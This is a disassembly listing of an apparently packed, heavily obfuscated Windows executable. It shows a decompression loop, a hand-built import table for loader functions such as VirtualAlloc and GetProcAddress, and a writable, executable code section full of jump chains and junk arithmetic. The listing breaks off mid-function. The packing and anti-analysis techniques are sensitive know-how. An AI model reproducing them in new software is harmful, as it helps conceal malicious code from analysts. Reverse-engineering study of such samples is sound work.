loc_40777F:				; CODE XREF: fq0epazq:00407766j
		shr	eax, 1
		add	edi, edi
		cmp	[ebp+0Ch], eax
		jb	short loc_40778E
		sub	[ebp+0Ch], eax
		or	edi, 1


loc_40778E:				; CODE XREF: fq0epazq:00407786j
		dec	ecx
		jnz	short loc_407761
		mov	ebx, [ebp+10h]
		add	ebx, 0C88h
		shl	edi, 4
		mov	dword ptr [ebp-14h], 4


loc_4077A4:				; CODE XREF: fq0epazq:0040775Cj
		xor	ecx, ecx
		inc	ecx
		mov	[ebp-20h], ebx
		mov	[ebp-24h], ecx


loc_4077AD:				; CODE XREF: fq0epazq:0040780Fj
		cmp	eax, 1000000h
		jnb	short loc_4077CB
		mov	esi, [ebp-8]
		mov	edx, [ebp+0Ch]
		movzx	esi, byte ptr [esi]
		shl	edx, 8
		or	edx, esi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], edx


loc_4077CB:				; CODE XREF: fq0epazq:004077B2j
		mov	edx, [ebx+ecx*4]
		mov	esi, eax
		shr	esi, 0Bh
		imul	esi, edx
		cmp	[ebp+0Ch], esi
		jnb	short loc_4077F0
		mov	eax, esi
		mov	esi, 800h
		sub	esi, edx
		shr	esi, 5
		add	esi, edx
		mov	[ebx+ecx*4], esi
		add	ecx, ecx
		jmp	short loc_407809
; ---------------------------------------------------------------------------


loc_4077F0:				; CODE XREF: fq0epazq:004077D9j
		sub	[ebp+0Ch], esi
		mov	ebx, [ebp-20h]
		sub	eax, esi
		mov	esi, edx
		shr	esi, 5
		sub	edx, esi
		or	edi, [ebp-24h]
		mov	[ebx+ecx*4], edx
		lea	ecx, [ecx+ecx+1]


loc_407809:				; CODE XREF: fq0epazq:004077EEj
		shl	dword ptr [ebp-24h], 1
		dec	dword ptr [ebp-14h]
		jnz	short loc_4077AD


loc_407811:				; CODE XREF: fq0epazq:00407733j
		inc	edi
		mov	[ebp-14h], edi
		jz	short loc_407845
		mov	ebx, [ebp-30h]


loc_40781A:				; CODE XREF: fq0epazq:00407843j
		mov	ecx, [ebp-10h]
		inc	ebx
		sub	ecx, edi
		inc	ebx
		add	ecx, [ebp+8]


loc_407824:				; CODE XREF: fq0epazq:00407839j
		mov	dl, [ecx]
		mov	esi, [ebp-10h]
		mov	edi, [ebp+8]
		dec	ebx
		inc	dword ptr [ebp-10h]
		inc	ecx
		test	ebx, ebx
		mov	[ebp-1], dl
		mov	[edi+esi], dl
		jnz	short loc_407824
		jmp	loc_407133
; ---------------------------------------------------------------------------


loc_407840:				; CODE XREF: fq0epazq:004076A6j
		mov	edi, [ebp-14h]
		jmp	short loc_40781A
; ---------------------------------------------------------------------------


loc_407845:				; CODE XREF: fq0epazq:00407815j
		mov	eax, [ebp-10h]
		leave
		retn	0Ch
; ---------------------------------------------------------------------------
		dd 0Dh dup(0)
dword_407880	dd 40903800h, 40B36500h, 809A5100h, 809AE47Ch, 801AD07Ch
					; DATA XREF: o45kw3t9:004090E8o
					; o45kw3t9:0040CCBDr ...
		dd 7Ch,	13h dup(0)
		dd 1000h, 8, 40h, 840000h, 2 dup(400000h), 2 dup(0)
		dd 1000h, 3A00h, 1, 0
		dd 77C10000h, 91003Dh, 910000h,	6000h, 1000h, 0
		dd 46912500h, 863AE244h, 97AFF9ACh, 59B610Fh, 84158587h
		dd 51610E7h, 0CDC2C36Dh, 378CA08Ah, 30DD98A2h, 5346153Ah
		dd 6DA9F8E2h, 59812534h, 0D07BD48Dh, 0E5CB0DB3h, 1CFDFF6Bh
		dd 50h,	1A5h dup(0)
fq0epazq	ends

; Section 3. (virtual address 00008000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00008000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
i9qk3ftn	segment	para public 'DATA' use32
		assume cs:i9qk3ftn
		;org 408000h
dword_408000	dd 80CCh, 0			dd 0FFFFFFFFh, 803Ch, 80B4h, 8108h, 0
		dd 0FFFFFFFFh, 80E8h, 8104h, 5 dup(0)
aKernel32_dll	db 'kernel32.dll',0
		align 4
		dd 65470000h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6F4C0000h
		dd 694C6461h, 72617262h, 4179h,	65470000h, 6F725074h, 64644163h
		dd 73736572h, 0
		dd 78450000h, 72507469h, 7365636Fh, 73h, 69560000h, 61757472h
		dd 6C6C416Ch, 636Fh, 69560000h,	61757472h, 6572466Ch, 65h
		dd 7C80B6A1h, 7C801D77h, 7C80ADA0h, 7C81CDDAh, 7C809A51h
		dd 7C809AE4h, 804Ch, 8060h, 8070h, 8084h, 8094h, 80A4h
		dd 0
aUser32_dll	db 'user32.dll',0
		align 4
		dd 654D0000h, 67617373h, 786F4265h, 41h, 7E45058Ah, 80F4h
		dd 33h dup(0)
		dd 3731200h, 1000h, 388h dup(0)
i9qk3ftn	ends

; ---------------------------------------------------------------------------
; Section 4. (virtual address 00009000)
; Virtual size			: 00008000 (  32768.)
; Section size in file		: 00008000 (  32768.)
; Offset to raw	data for section: 00009000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
o45kw3t9	segment	para public 'CODE' use32
		assume cs:o45kw3t9
		;org 409000h
		assume es:nothing, ss:nothing, ds:_packed, fs:nothing, gs:nothing


loc_409000:				; DATA XREF: sub_40D13E+Ao
					; p89ykw6h:004127CCo
		jnz	loc_40901A
		mov	eax, [ebp-8]
		mov	byte ptr [eax],	0
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_409010:				; CODE XREF: sub_40D740+150Ej
		jmp	loc_40D10D
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C674


loc_409015:				; CODE XREF: sub_40C674-17E3j
		jmp	loc_40EE5A
; END OF FUNCTION CHUNK	FOR sub_40C674
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A135


loc_40901A:				; CODE XREF: o45kw3t9:loc_409000j
					; sub_40A135+3j
		mov	eax, [ebp-4]
		jmp	loc_40E487
; END OF FUNCTION CHUNK	FOR sub_40A135

; =============== S U B	R O U T	I N E =======================================



sub_409022	proc near		; DATA XREF: sub_40B3E5+2BB3o

; FUNCTION CHUNK AT 0040DAD8 SIZE 0000000A BYTES

		push	875B1C78h
		pop	edi
		xor	edi, 875B1C60h
		call	sub_40CF9A


loc_409033:				; CODE XREF: o45kw3t9:0040CF54j
		jmp	loc_40DAD8
sub_409022	endp

; ---------------------------------------------------------------------------
		jno	loc_40AAF0
		mov	eax, ds:dword_40B35C
		or	eax, eax
		jnz	loc_40D1D0
		mov	eax, 0CF0182F6h
		call	sub_4090F8
		xor	eax, 0B99E00D3h
		jmp	loc_40AAE5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A3A2


loc_409061:				; CODE XREF: sub_40A3A2+413j
		mov	ebx, 149A6DFFh
		cmp	ebp, ebx
		jmp	loc_40C2BC
; END OF FUNCTION CHUNK	FOR sub_40A3A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A6F8


loc_40906D:				; CODE XREF: sub_40A6F8:loc_40C02Bj
		and	esi, 44ECADC8h
		add	esi, 1406C09Bh
		add	esi, ebp
		call	sub_40AF55


loc_409080:				; CODE XREF: sub_40EFC7:loc_40FA36j
		cmp	eax, 89F67030h
		jmp	loc_40A17B
; END OF FUNCTION CHUNK	FOR sub_40A6F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40943A


loc_40908B:				; CODE XREF: sub_40943A+1201j
		mov	[ebp-4], eax


loc_40908E:				; CODE XREF: sub_40943A+11EFj
					; o45kw3t9:loc_40ADA2j	...
		mov	eax, [ebp-1Ch]
		call	sub_40C365
		mov	[ebp-8], eax
		jmp	loc_40EDA9
; END OF FUNCTION CHUNK	FOR sub_40943A

; =============== S U B	R O U T	I N E =======================================



sub_40909E	proc near		; CODE XREF: sub_40943A:loc_40A636p
					; sub_40CC20-1F35p ...

; FUNCTION CHUNK AT 004096A7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004098C8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040A758 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040AB4E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040AB78 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040ABB9 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0040B5E4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C61B SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0040C9EA SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0040CAB3 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0040CDED SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040CFC4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D3C4 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040DC3C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040DC4B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E24A SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040E8DD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040EBB3 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 004100AE SIZE 0000000A BYTES

		js	loc_40ABC3
		push	ebp
		jmp	loc_40DC4B
sub_40909E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4090AA	proc near		; CODE XREF: o45kw3t9:0040C204j
					; sub_40CE59+307p

; FUNCTION CHUNK AT 0040BCC0 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		div	dword ptr [ebp-8]
		mov	[ebp-0Ch], edx


loc_4090B4:				; CODE XREF: sub_40B540+25F8j
		push	offset sub_4091F4
		jmp	loc_40BCC0
sub_4090AA	endp

; ---------------------------------------------------------------------------
		dw 9B2Ch
dword_4090C0	dd 0		; ---------------------------------------------------------------------------


loc_4090C4:				; CODE XREF: o45kw3t9:0040EDFBj
		jmp	locret_40E7F7
; ---------------------------------------------------------------------------
		les	eax, [ebx]
		and	[edi-33h], dl
		mov	dl, 27h
		mov	word ptr [ebx+63D88Ch],	cs
; START	OF FUNCTION CHUNK FOR sub_40B0A6


loc_4090D7:				; CODE XREF: sub_40B0A6+38CBj
		jmp	loc_40B485
; END OF FUNCTION CHUNK	FOR sub_40B0A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BB28


loc_4090DC:				; CODE XREF: sub_40BB28+C7Cj
		jmp	nullsub_89
; END OF FUNCTION CHUNK	FOR sub_40BB28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A135


loc_4090E1:				; CODE XREF: sub_40A135+1E42j
		jmp	nullsub_31
; END OF FUNCTION CHUNK	FOR sub_40A135
; ---------------------------------------------------------------------------
		dw 3611h
		dd offset dword_407880+1
		db 5, 4	dup(0)
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_4090F8	proc near		; CODE XREF: o45kw3t9:00409051p
					; sub_409CFF+14p ...

; FUNCTION CHUNK AT 0040AB44 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040AC23 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040C34F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D6DD SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0040E82A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040ECA8 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0040EF27 SIZE 00000006 BYTES

		jz	loc_40D6E3
		mov	edx, ds:dword_40D3B4
		jmp	loc_40C34F
sub_4090F8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_409109:				; CODE XREF: o45kw3t9:0040BBEDj
		mov	edi, esi
		xchg	edi, [esp]
		xchg	ebp, esi
		mov	ebp, esp
		call	sub_40A05D
; START	OF FUNCTION CHUNK FOR sub_40B88D


loc_409117:				; CODE XREF: sub_40B88D+9j
		jmp	loc_40B991
; END OF FUNCTION CHUNK	FOR sub_40B88D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40911C:				; CODE XREF: sub_40D740-211Ej
		jmp	loc_40E492
; END OF FUNCTION CHUNK	FOR sub_40D740

; =============== S U B	R O U T	I N E =======================================



sub_409121	proc near		; CODE XREF: sub_40B5CB:loc_40C46Dj

var_4		= dword	ptr -4

		push	ebx
		mov	[esp+4+var_4], eax


loc_409125:				; CODE XREF: sub_4090F8+45E6j
		mov	edx, eax
		push	offset loc_40A242
		jmp	nullsub_94
sub_409121	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_409131:				; CODE XREF: sub_40D740:loc_40C64Fj
		jl	loc_40E9A3
		test	ebx, esi
		jmp	loc_40C0C1
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
		rol	eax, 0Eh
		jmp	sub_40ACAB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40939B


loc_409146:				; CODE XREF: sub_40939B:loc_40B024j
					; sub_40939B:loc_40B628j ...
		js	loc_40D556
		call	sub_40CF7C


loc_409151:				; CODE XREF: sub_40EFF0-43FBj
		jmp	sub_40D6C8
; END OF FUNCTION CHUNK	FOR sub_40939B
; ---------------------------------------------------------------------------


loc_409156:				; CODE XREF: o45kw3t9:0040AD3Fj
		call	sub_409E50

; =============== S U B	R O U T	I N E =======================================



sub_40915B	proc near		; CODE XREF: sub_409A91+6187p

; FUNCTION CHUNK AT 00409BC4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0041021B SIZE 0000000A BYTES

		mov	[esp+0], ecx
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_40CFE4
		jmp	loc_409BC4
sub_40915B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CD0A


loc_40916C:				; CODE XREF: sub_40CD0A+5j
		and	edx, ebp
; END OF FUNCTION CHUNK	FOR sub_40CD0A
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40916E:				; CODE XREF: sub_40D740:loc_40EB88j
		mov	[ebp-18h], eax
		call	sub_40A5DE
; END OF FUNCTION CHUNK	FOR sub_40D740
; START	OF FUNCTION CHUNK FOR sub_40995E


loc_409176:				; CODE XREF: sub_40995E+175Bj
		jmp	nullsub_37
; END OF FUNCTION CHUNK	FOR sub_40995E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40ABFA


loc_40917B:				; CODE XREF: sub_40ABFA-1128j
		jmp	nullsub_10
; END OF FUNCTION CHUNK	FOR sub_40ABFA

; =============== S U B	R O U T	I N E =======================================



sub_409180	proc near		; DATA XREF: o45kw3t9:0040EE34o

; FUNCTION CHUNK AT 004094D0 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		jmp	loc_4094D0
sub_409180	endp

; ---------------------------------------------------------------------------
		sub	ebx, 657CD009h
		jmp	sub_40D2B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_409193:				; CODE XREF: sub_40D740-C62j
		push	offset sub_40CA44
		jmp	loc_40A796
; END OF FUNCTION CHUNK	FOR sub_40D740

; =============== S U B	R O U T	I N E =======================================



sub_40919D	proc near		; CODE XREF: sub_40D740+1664p

; FUNCTION CHUNK AT 0040CCA8 SIZE 00000009 BYTES

		xchg	eax, [esp+0]
		mov	eax, [esp+0]
		mov	eax, edx
		call	sub_409FA8
		jmp	loc_40CCA8
sub_40919D	endp

; ---------------------------------------------------------------------------
		mov	edi, edx
		rol	edx, 0Ah
		jmp	sub_40CB50
; ---------------------------------------------------------------------------


loc_4091B9:				; DATA XREF: sub_40DA7D+2118o
		mov	al, [eax]
		add	[ebp-0Ah], al
		xor	eax, eax
		mov	al, [ebp-0Ah]
		shr	eax, 4
		jmp	loc_40DAED

; =============== S U B	R O U T	I N E =======================================



sub_4091CB	proc near		; CODE XREF: o45kw3t9:004095AEj
					; sub_40A3A2:loc_40C4BEp

; FUNCTION CHUNK AT 004094B9 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040A2DB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040A596 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 0040BD2D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040BFB1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C38B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040DC8E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040DFF3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040E4AF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040EFB6 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00410331 SIZE 0000000D BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		jmp	loc_40C38B
sub_4091CB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A715


loc_4091D4:				; CODE XREF: sub_40A3A2-E1Cj
					; sub_40A715+214Dj
		mov	ecx, offset sub_4091DD
		xchg	ecx, [esp+0]
		retn
; END OF FUNCTION CHUNK	FOR sub_40A715

; =============== S U B	R O U T	I N E =======================================



sub_4091DD	proc near		; DATA XREF: sub_40A715:loc_4091D4o

; FUNCTION CHUNK AT 0040D9DA SIZE 00000002 BYTES

		xchg	ecx, [esp+0]
		mov	ebp, ecx
		jmp	loc_40D9DA
sub_4091DD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A01C


loc_4091E7:				; CODE XREF: sub_40A01C:loc_40B670j
		mov	[ebp+var_4], eax
		push	offset loc_40BF48
		jmp	loc_40FD8F
; END OF FUNCTION CHUNK	FOR sub_40A01C

; =============== S U B	R O U T	I N E =======================================



sub_4091F4	proc near		; DATA XREF: sub_4090AA:loc_4090B4o
		mov	eax, [ebp-0Ch]
		mov	esp, ebp
		pop	ebp
		retn
sub_4091F4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E6E8


loc_4091FB:				; CODE XREF: sub_40E6E8-465j
		jmp	loc_40C403
; END OF FUNCTION CHUNK	FOR sub_40E6E8
; ---------------------------------------------------------------------------


loc_409200:				; CODE XREF: o45kw3t9:0040CDA2j
		jmp	loc_40BEA3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A259


loc_409205:				; CODE XREF: sub_40A259-D56j
		jmp	loc_40C878
; END OF FUNCTION CHUNK	FOR sub_40A259
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B540


loc_40920A:				; CODE XREF: sub_40B540:loc_40BE91j
		push	0B8C518E3h
		pop	eax
		add	eax, 530E61C9h
		jmp	loc_40DB2B
; END OF FUNCTION CHUNK	FOR sub_40B540
; ---------------------------------------------------------------------------


loc_40921B:				; DATA XREF: sub_40A170:loc_40EDDAo
		xor	eax, 9C5CE8FDh
		add	eax, ebp
		call	sub_40E915


loc_409228:				; CODE XREF: o45kw3t9:0040AD21j
		jmp	loc_40DE7F
; ---------------------------------------------------------------------------


loc_40922D:				; CODE XREF: o45kw3t9:0040BF23j
		jz	loc_409949

; =============== S U B	R O U T	I N E =======================================



sub_409233	proc near		; CODE XREF: sub_40F0F5+6p
		mov	[esp+0], esi
		pop	esi
		mov	eax, [eax]


loc_409239:				; CODE XREF: o45kw3t9:0040EAD5j
		push	offset loc_40C664
		jmp	loc_40D8D4
sub_409233	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E65D


loc_409243:				; CODE XREF: sub_40E65D+Ej
		push	7E4E48F8h
		pop	ecx
		add	ecx, 81F290EDh
		call	sub_40B93B


loc_409254:				; CODE XREF: o45kw3t9:0040DD62j
		jmp	nullsub_133
; END OF FUNCTION CHUNK	FOR sub_40E65D
; ---------------------------------------------------------------------------


loc_409259:				; CODE XREF: o45kw3t9:0040AFD0j
		jmp	loc_40D7B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A259


loc_40925E:				; CODE XREF: sub_40A259-8DCj
		jmp	loc_40B5F2
; END OF FUNCTION CHUNK	FOR sub_40A259

; =============== S U B	R O U T	I N E =======================================



sub_409263	proc near		; CODE XREF: sub_40BFBB:loc_40D1ADp
					; sub_40E543+13p

; FUNCTION CHUNK AT 0040D643 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0040E71D SIZE 0000000D BYTES

		xor	bx, bx
		add	ebx, 10000h


loc_40926C:				; CODE XREF: sub_409263+43EEj
					; sub_409263+54C0j
		jb	loc_40D643
		sub	ebx, 10000h
		mov	eax, [ebx]
		jmp	loc_40E71D
sub_409263	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40927F:				; CODE XREF: sub_40D740:loc_40CF3Dj
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_40ED9B
		jmp	loc_40BDBF
; END OF FUNCTION CHUNK	FOR sub_40D740

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40928F	proc near		; DATA XREF: sub_40CE35+6o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0040A442 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B112 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0040B1DD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C0FF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040CBB0 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0040CC2E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0040CCFB SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040DF84 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040EC43 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040F155 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0040FEDE SIZE 0000001C BYTES

		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_40CFF0
		or	eax, eax
		jnz	loc_40F06F
		jmp	loc_40A442
sub_40928F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A3A2


loc_4092A8:				; CODE XREF: sub_40A3A2:loc_409DF0j
		mov	[ebp-8], edx
		mov	[ebp-4], eax
		call	sub_40B160


loc_4092B3:				; CODE XREF: sub_40AC2F+2760j
		jmp	loc_40D4DA
; END OF FUNCTION CHUNK	FOR sub_40A3A2

; =============== S U B	R O U T	I N E =======================================



sub_4092B8	proc near		; DATA XREF: sub_40FE92+Fo

; FUNCTION CHUNK AT 00409A3B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0040A901 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040B4B5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040BA2C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040D134 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040DEA8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040FF1B SIZE 00000011 BYTES

		cmp	al, 0A4h
		jz	loc_409A36
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_409A3B
		jmp	loc_40A901
sub_4092B8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_410069


loc_4092D1:				; CODE XREF: sub_410069-20A1j
		mov	edx, 0BD2F723Eh
		add	eax, 3CB04F1Ch
		jle	loc_40E461
		push	ecx
		cmp	ebx, edi
		jmp	loc_40AB09
; END OF FUNCTION CHUNK	FOR sub_410069
; ---------------------------------------------------------------------------


loc_4092EA:				; DATA XREF: sub_40ECE1-4333o
		xor	eax, edi
		pop	edi
		rol	eax, 2


loc_4092F0:				; CODE XREF: o45kw3t9:0040DC13j
		push	edi
		push	0EC1B128Bh
		pop	edi
		jmp	loc_40EE7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CC20


loc_4092FC:				; CODE XREF: sub_40CC20+2Dj
		adc	ebp, eax
		jnz	loc_40FFF2
		sub	eax, ecx


loc_409306:				; CODE XREF: sub_40CC20:loc_40DA3Bj
		call	sub_40CEFE
		mov	edx, 0F75CA70h
		push	edi
		call	sub_40D34B
; END OF FUNCTION CHUNK	FOR sub_40CC20
; START	OF FUNCTION CHUNK FOR sub_40B96E


loc_409316:				; CODE XREF: sub_40B96E+3133j
		jmp	nullsub_75
; END OF FUNCTION CHUNK	FOR sub_40B96E

; =============== S U B	R O U T	I N E =======================================



sub_40931B	proc near		; DATA XREF: sub_40D031:loc_40EC0Bo
		add	edx, ebp
		push	offset loc_40F137
		jmp	nullsub_79
sub_40931B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F02A


loc_409327:				; CODE XREF: sub_40F02A-1EB8j
		sub	ebx, edx
		xor	edx, ebp
		popf
		pushf
		jmp	loc_40A43A
; END OF FUNCTION CHUNK	FOR sub_40F02A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EF9A


loc_409332:				; CODE XREF: sub_40EF9A+Cj
		mov	[ebp-4], eax
		call	sub_40AC4A
; END OF FUNCTION CHUNK	FOR sub_40EF9A
; START	OF FUNCTION CHUNK FOR sub_40EC83


loc_40933A:				; CODE XREF: sub_40A8B8j
					; sub_40EC83-1976j
		test	ebp, 5D3631EBh
		jmp	loc_40D467
; END OF FUNCTION CHUNK	FOR sub_40EC83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CBFC


loc_409345:				; CODE XREF: sub_40CBFC+6j
		push	offset loc_40A685
		jmp	nullsub_32
; END OF FUNCTION CHUNK	FOR sub_40CBFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409472


loc_40934F:				; CODE XREF: sub_409472:loc_40C973j
		jnz	loc_40A2BE
		lea	edx, [ebp-14h]
		mov	eax, offset dword_40FA08
		call	sub_40C298
		jmp	loc_40BB63
; END OF FUNCTION CHUNK	FOR sub_409472
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D268


loc_409367:				; CODE XREF: sub_40D268+11j
		add	dword ptr [ebp-8], 4
		jmp	loc_41005C
; ---------------------------------------------------------------------------


loc_409370:				; CODE XREF: sub_40D268+Bj
		add	dword ptr [ebp-8], 2
		jmp	loc_40D575
; END OF FUNCTION CHUNK	FOR sub_40D268

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409379	proc near		; CODE XREF: sub_40939B:loc_40ACA0p
					; sub_40939B+2463p
		push	ebp
		mov	ebp, esp
		push	offset sub_40E19B
		jmp	locret_40D7C7
sub_409379	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EC83


loc_409386:				; CODE XREF: sub_40EC83:loc_40B5A0j
		adc	ebx, 684D3078h
		jmp	loc_40A43A
; END OF FUNCTION CHUNK	FOR sub_40EC83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A742


loc_409391:				; CODE XREF: sub_40A742-10ADj
		push	offset loc_40B309
		jmp	loc_40EBE9
; END OF FUNCTION CHUNK	FOR sub_40A742

; =============== S U B	R O U T	I N E =======================================



sub_40939B	proc near		; CODE XREF: sub_40C1A5+Ap
					; sub_40D740+121j

; FUNCTION CHUNK AT 00409146 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0040A5A4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040AC8C SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0040B024 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B550 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0040B628 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B7E8 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0040CFCE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D31D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040D556 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0040DC6F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E9CF SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040EA29 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040EA85 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040FBFC SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004101F9 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	[ebp-20h], eax
		jmp	loc_40AC8C
sub_40939B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A382


loc_4093A7:				; CODE XREF: sub_40A382:loc_40B607j
		test	byte ptr [ebp-8], 2
		jmp	loc_40A6D3
; END OF FUNCTION CHUNK	FOR sub_40A382
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AE3B


loc_4093B0:				; CODE XREF: sub_40AE3B:loc_40EA1Aj
		add	edi, 3271BBD5h
		xchg	edi, [esp+0]
		jmp	sub_40C298
; END OF FUNCTION CHUNK	FOR sub_40AE3B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D031


loc_4093BE:				; CODE XREF: sub_40D031:loc_409827j
